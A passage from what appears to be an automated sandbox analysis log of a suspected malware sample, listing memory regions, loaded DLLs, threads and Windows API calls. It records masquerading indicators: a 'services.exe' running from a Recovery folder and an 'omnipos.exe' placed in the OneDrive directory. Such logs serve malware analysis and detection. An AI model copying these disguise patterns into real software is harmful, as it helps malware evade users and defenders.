1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8572 start_va = 0x7fe94a10000 end_va = 0x7fe94a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8573 start_va = 0x7fe94a20000 end_va = 0x7fe94a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a20000" filename = "" Region: id = 8574 start_va = 0x7fe94a30000 end_va = 0x7fe94abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a30000" filename = "" Region: id = 8575 start_va = 0x7fe94ac0000 end_va = 0x7fe94b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ac0000" filename = "" Region: id = 8576 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8577 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8578 start_va = 0x1f00000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 8613 start_va = 0x2030000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 8614 start_va = 0x2320000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 8615 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8616 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8617 start_va = 0x2420000 end_va = 0x1a41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 8635 start_va = 0x1a420000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a420000" filename = "" Region: id = 8636 start_va = 0x2030000 end_va = 0x2130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 8637 start_va = 0x21c0000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 8638 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 8639 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8647 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 8648 start_va = 0x1aa60000 end_va = 0x1ab5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 8649 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8658 start_va = 0x1ab60000 end_va = 0x1ae2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8673 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8679 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8680 start_va = 0x460000 end_va = 0x4dcfff monitored = 0 entry_point = 0x46cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8681 start_va = 0x460000 end_va = 0x4dcfff monitored = 0 entry_point = 0x46cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8682 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8769 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8770 start_va = 0x460000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8771 start_va = 0x2240000 end_va = 0x231efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002240000" filename = "" Region: id = 8813 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8814 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8819 start_va = 0x7fe94b30000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b30000" filename = "" Region: id = 8858 start_va = 0x7fe94bb0000 end_va = 0x7fe94bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bb0000" filename = "" Region: id = 8859 start_va = 0x7fe94bc0000 end_va = 0x7fe94bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bc0000" filename = "" Region: id = 8867 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8881 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8882 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8883 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8884 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8885 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8886 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8887 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8888 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8889 start_va = 0x1ae30000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae30000" filename = "" Region: id = 9016 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9034 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9035 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9036 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9102 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9103 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9117 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9132 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9143 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9170 start_va = 0x740000 end_va = 0x7a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9220 start_va = 0x1af00000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9221 start_va = 0x1b030000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 9222 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9223 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9259 start_va = 0x1b1d0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 9260 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9261 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9262 start_va = 0x1f00000 end_va = 0x1f44fff monitored = 0 entry_point = 0x1f01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9263 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 9264 start_va = 0x1f00000 end_va = 0x1f44fff monitored = 0 entry_point = 0x1f01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9265 start_va = 0x1f00000 end_va = 0x1f44fff monitored = 0 entry_point = 0x1f01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9266 start_va = 0x1f00000 end_va = 0x1f44fff monitored = 0 entry_point = 0x1f01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9267 start_va = 0x1f00000 end_va = 0x1f44fff monitored = 0 entry_point = 0x1f01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9268 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9269 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9405 start_va = 0x1b350000 end_va = 0x1b44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 9406 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9444 start_va = 0x1b490000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 9445 start_va = 0x1b630000 end_va = 0x1b72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b630000" filename = "" Region: id = 9446 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9447 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9448 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9516 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9533 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9544 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9564 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9565 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9579 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9580 start_va = 0x1b730000 end_va = 0x1ba01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9581 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9582 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9583 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9584 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 9585 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 9586 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9587 start_va = 0x470000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 9614 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 9615 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9616 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 9617 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 9618 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9619 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 9620 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 9709 start_va = 0x1f00000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Thread: id = 375 os_tid = 0x5c8 [0262.637] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.105] EtwEventRegister (in: ProviderId=0x2425878, EnableCallback=0x1ae7135c, CallbackContext=0x0, RegHandle=0x2425858 | out: RegHandle=0x2425858) returned 0x0 [0277.173] EtwEventRegister (in: ProviderId=0x242a000, EnableCallback=0x1ae713ac, CallbackContext=0x0, RegHandle=0x2429fe0 | out: RegHandle=0x2429fe0) returned 0x0 [0278.740] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x604ce0*=0xd8, lpdwindex=0x45e464 | out: lpdwindex=0x45e464) returned 0x0 [0280.478] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x604ce0*=0xd8, lpdwindex=0x45e464) Thread: id = 460 os_tid = 0x838 Thread: id = 467 os_tid = 0x854 [0263.821] CoGetContextToken (in: pToken=0x1a91f480 | out: pToken=0x1a91f480) returned 0x800401f0 [0263.821] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 469 os_tid = 0x85c Thread: id = 496 os_tid = 0x8d4 [0278.306] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.307] CoGetContextToken (in: pToken=0x1b12f9f0 | out: pToken=0x1b12f9f0) returned 0x0 [0278.307] CObjectContext::QueryInterface () returned 0x0 [0278.307] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.307] Release () returned 0x0 [0278.307] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.308] CoUninitialize () [0288.779] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b12de18 | out: phkResult=0x1b12de18*=0x0) returned 0x2 [0288.779] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1b12e950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", lpFilePart=0x0) returned 0x35 Thread: id = 497 os_tid = 0x8d8 Thread: id = 506 os_tid = 0x8fc Thread: id = 532 os_tid = 0x974 Thread: id = 533 os_tid = 0x978 Thread: id = 545 os_tid = 0x9a8 [0280.814] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0280.815] CoGetContextToken (in: pToken=0x1b58f510 | out: pToken=0x1b58f510) returned 0x0 [0280.815] CObjectContext::QueryInterface () returned 0x0 [0280.815] CObjectContext::GetCurrentThreadType () returned 0x0 [0280.815] Release () returned 0x0 [0280.815] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0280.815] CoUninitialize () Process: id = "89" image_name = "services.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" page_root = "0x21708000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7518 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7519 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7520 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7521 start_va = 0x2a0000 end_va = 0x375fff monitored = 1 entry_point = 0x36d67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 7522 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7523 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7524 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7525 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7526 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7527 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 7528 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7529 start_va = 0x40000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7530 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7531 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7532 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7536 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7537 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7538 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7543 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7544 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7545 start_va = 0x380000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7546 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7547 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 7660 start_va = 0x4c0000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 7728 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7729 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7730 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7731 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7732 start_va = 0x250000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 7733 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 7734 start_va = 0x610000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 7750 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7751 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7876 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7877 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7878 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7879 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = 